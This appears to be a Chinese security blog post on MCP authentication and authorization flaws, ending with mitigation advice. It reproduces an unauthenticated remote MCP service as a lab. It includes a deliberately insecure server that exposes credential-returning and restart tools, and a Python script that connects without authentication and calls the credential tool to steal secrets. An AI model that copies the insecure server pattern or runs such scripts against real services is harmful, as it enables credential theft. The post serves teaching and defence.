跳转到内容

MCP安全系列之身份验证和授权问题

MCP安全系列之身份验证和授权问题

Section titled “MCP安全系列之身份验证和授权问题”

身份验证和授权问题大面上就是关于MCP服务权限问题,这里分了以下几个场景:

1、远程MCP服务未授权访问:企业的MCP相关服务有些不是全部都本地和Agent部署到一起的,这就涉及到了远程调用,远程调用的这个MCP,如果没有做身份验证,那么只要获取到这个连接的人,就都可以访问相关工具进行调用。

2、粗颗粒度问题,比如为了让Agent调用某个平台的相关功能,针对该平台开发了一个MCP服务,这个MCP没有做权限限制,任何Agent连接后都可以调用里面的所有工具,比如不论是客服Agent还是财务Agent,都可以调用修改薪资这个工具。

3、凭证共享问题,比如企业开发了一个WIKI的MCP服务,然后MCP服务中将WIKI的认证Token硬编码到了代码中,为了便于相关资料查询,这个Token是个高权限Token,那么意味着任何人都可以查询机密文档。

这里复现下场景1:远程MCP服务未授权访问。

这里来写一个MCP服务,模拟一下敏感操作,比如获取密钥、重启服务器,然后将其以HTTP远程形式进行启动:

from mcp.server.fastmcp import FastMCP
import os
mcp = FastMCP("CompanyInternalAPI", host="0.0.0.0", port=8000)
@mcp.tool()
def get_production_env() -> str:
"""获取生产环境的数据库和云服务密钥(仅供内部运维 Agent 使用)"""
# 模拟返回核心凭证
return (
"DB_HOST=10.0.0.5\n"
"DB_PASS=SuperSecretDBPass2026\n"
"AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE"
)
@mcp.tool()
def restart_server() -> str:
"""重启核心业务服务器"""
return "[WARNING] 服务器已执行重启指令!"
if __name__ == "__main__":
# 漏洞点:将 MCP 服务通过 SSE 暴露在网络上,且未做任何身份校验
# 绑定 0.0.0.0 意味着同一局域网或公网(如有公网IP)均可访问
print("启动内部 MCP 服务,监听端口 8000 (SSE)...")
mcp.run(transport="sse")

上面代码直接通过python运行即可启动,启动后假设我们通过扫描或信息搜集获得了这个MCP的地址,因为上面MCP服务并未做身份认证,所以我们可以直接连接并调用。

这里通过Python来写个调用脚本,如下:

import asyncio
from mcp.client.sse import sse_client
from mcp.client.session import ClientSession
async def exploit_unauth_mcp():
# 攻击者扫描到了暴露在公网/内网的 MCP SSE 端口
target_url = "http://192.168.216.130:8000/sse"
print(f"[*] 正在尝试免密连接目标 MCP 服务器: {target_url}")
try:
# 直接建立 SSE 连接,不需要任何 API Key 或 Token
async with sse_client(target_url) as streams:
async with ClientSession(streams[0], streams[1]) as session:
await session.initialize()
print("[+] 连接成功!无需身份认证。")
# 1. 信息收集:探测服务器上有哪些工具
print("\n[*] 正在探测可用工具列表...")
tools_response = await session.list_tools()
for tool in tools_response.tools:
print(f" - 发现工具: {tool.name}")
# 2. 漏洞利用:直接越权调用高危工具窃取凭证
print("\n[*] 尝试调用高危工具 [get_production_env]...")
result = await session.call_tool("get_production_env", {})
print("\n[!] 攻击成功,窃取到的核心数据如下:")
print("="*40)
# 提取并打印返回的文本内容
print(result.content[0].text)
print("="*40)
except Exception as e:
print(f"[-] 攻击失败: {e}")
if __name__ == "__main__":
asyncio.run(exploit_unauth_mcp())

直接运行脚本,可以看到相关工具被调用:

image-20260914160504477

连接远程MCP,查看相关工具并调用工具,除了上面自己写的脚本外,还可以用官方的mcp-inspector工具:

npm install -g @modelcontextprotocol/inspector

安装后直接运行mcp-inspector命令,浏览器会打开该工具,直接添加远程MCP地址即可看到相关工具并进行调用。

针对上面的相关场景,在修复时,可添加认证校验,MCP服务端添加验证机制,想要连接必须通过校验,例如Token匹配等。另外对于粗颗粒度问题,可以把相关工具按角色拆成多个MCP服务,指定Agent就调用它指定的MCP,或者在MCP中实现角色匹配,相关工具调用验证其角色。

小枣信安:专注AI安全,包括但不限于大模型安全、智能体安全、机器人安全、AI赋能网络安全等,欢迎一起学习。